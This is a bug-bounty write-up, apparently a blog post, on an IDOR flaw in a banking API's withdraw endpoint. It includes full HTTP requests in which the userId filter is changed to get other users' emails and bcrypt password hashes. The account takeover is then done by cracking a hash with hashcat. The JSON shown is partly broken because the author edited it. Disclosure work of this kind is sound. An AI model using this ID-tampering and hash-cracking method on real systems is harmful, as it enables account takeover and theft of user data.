BOOK THIS SPACE FOR AD
ARTICLE ADIDOR, one of the most common vulnerabilities in applications, can lead to major security leaks. Today, I’ll walk you through how I discovered an IDOR flaw that allowed access to other users’ accounts in the vulnerable application.
Insecure Direct Object Reference (IDOR) is a security vulnerability that arises when the application exposes its internal implementation objects directly to users without proper access controls in place.
Typically, web applications or APIs use references or identifiers to access and retrieve data from their underlying storage systems. These references, if not properly protected, can be manipulated by attackers to gain unauthorized access to sensitive resources.
The vulnerability occurs when the application fails to enforce proper authorization checks before serving requested resources to users. Attackers can exploit this by manipulating parameters or identifiers in requests, thereby accessing data or functionalities they shouldn’t have access to.
For example, an attacker might change a parameter in a URL to access another user’s private files or modify data belonging to someone else. This can lead to unauthorized data disclosure, data manipulation, or even account takeover if the attacker gains access to privileged functionalities.
Finding IDOR Which Disclosed Sensitive Data
While examining the target banking web application and monitoring traffic in Burp Suite, I noticed an intriguing parameter, [userId], within the body of a POST API request (/api/withdraw). Upon further investigation, I observed that the response contained hashed passwords, user emails, and other sensitive user data.
Please note that I have modified certain data in the request and responses below for obvious reasons.
POST /api/withdraw HTTP/2Host: secureapi.vulneweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Authorization: NCARGjv44HtxclcoPgCkmpiBmKRhMlEi9bQifjeEg3N38RzaMi
Content-Length: 308
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
{"name":"withdrawalrequests","method":"GET",
"data":"filter[include][2]=withdrawalrequeststatusfilter[where][userId]=4367
&filter[order]=created DESC&filter[skip]=0&filter[limit]=10"}
Content-Type: application/json; charset=utf-8
Vary: Origin
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: *
Strict-Transport-Security: max-age=15724800; includeSubDomains
[{"amount":,"verified":,"verifiedby":,
"verifiedon":,"message":"Withdraw request",
"datetimeoftransfer":null,"bankreferenceno":null,
"transferedamount":null,"transferedtoiban":null,"approvedby":null,
"modifiedby":null,"withdrawalrequeststatusId":5,
"withdrawalservicecharge":"{\"Percentage\":2.5,\"BankPercentages\":0,\"withdrawalPercentageAdditional\":\"0\",\"withdrawalCommission\":0,\"bankPercentage\":0,\"bankAmount\":8}","generatedby":"user","withdrawaltype":null,"rejected_reason":null,"isPartnerRewardWithdrawal":false,
"userId":4367,"userbankId":,"createdby":{"id":4367,"agreement":1,"signature":".jpg","partneragreement":0,"partnersignature":null,"cellVerified":1,"createdBy":0,"modifiedBy":0,"remember_token":"","realm":"","cellnumber":"","businessPhoneNumber":"",
"password":"$2a$10$Fg9H4892x9PTlpFFuXU6YuVTzoaIsQZSwjh5N.tNDKkhce5nnFh2e",
"email":"attacker@gmail.com","emailVerified":0,"verificationToken":"",10:21:43","roleId":2,08:5
9:12","token_expiry":"","password_expiry":"","whmcs_client_id":null,"whmcs_owner_id":null}]
I modified the userID parameter to match the user ID of another user I possessed, which was 4597. As a result, the response included the password of that specific user. While I could have reported this vulnerability as is, I saw an opportunity to escalate its severity.
POST /api/withdraw HTTP/2Host: secureapi.vulneweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Authorization: NCARGjv44HtxclcoPgCkmpiBmKRhMlEi9bQifjeEg3N38RzaMi
Content-Length: 308
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
{"name":"withdrawalrequests","method":"GET","data":
"filter[include][2]=withdrawalrequeststatusfilter[where][userId]=4597&
filter[order]=created DESC&filter[skip]=0&filter[limit]=10filter[include][0][userbank]=bank&filter[include][1][payout]=payoutstatus&}
Content-Type: application/json; charset=utf-8
Vary: Origin
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: *
Strict-Transport-Security: max-age=15724800; includeSubDomains
[{"amount":,"verified":,"verifiedby":,"verifiedon":,"message":"Withdraw request","datetimeoftransfer":null,"bankreferenceno":null,"transferedamount":null,"transferedtoiban":null,"approvedby":null,"modifiedby":null,"withdrawalrequeststatusId":5,
,"withdrawalservicecharge":"{\"Percentage\":2.5,\"BankPercentages\":0,\"withdrawalPercentageAdditional\":\"0\",\"withdrawalCommission\":0,\"bankPercentage\":0,\"bankAmount\":8}","generatedby":"user","withdrawaltype":null,"rejected_reason":null,"isPartnerRewardWithdrawal":false
,"userId":4597,"userbankId":,"createdby":{"id":4597,"agreement":1,"signature":".jpg","partneragreement":0,"partnersignature":nu
ll,"cellVerified":1,"createdBy":0,"modifiedBy":0,"remember_token":"","realm":"","cellnumber":"","businessPhoneNumber":"",
"password":"$2a$04$uV2sHR0s8JCMueSBW.jMJe1DTwxNVQh.rgnDWvAM2x6ILaS70VUsu",
"email":"victime@gmail.com","emailVerified":0,"verificationToken":"token_expiry":"","password_expiry":"","whmcs_client_id":null,"whmcs_owner_id":null}]
Account Takeover
I remembered that returning passwords in response, whether hashed or plaintext, is considered poor practice. Moreover, considering that we are also receiving the email ID associated with a userID, theoretically, we could crack the password and gain access to a victim user’s account, but first I need to determine the type of hashing algorithm being used in this scenario.
According to the hash analyzer, the bcrypt algorithm is being used. I used hashcat to attempt to crack the password hash.
After successfully cracking the hash, I submitted the vulnerability as an account takeover, and it was mitigated in just a few days.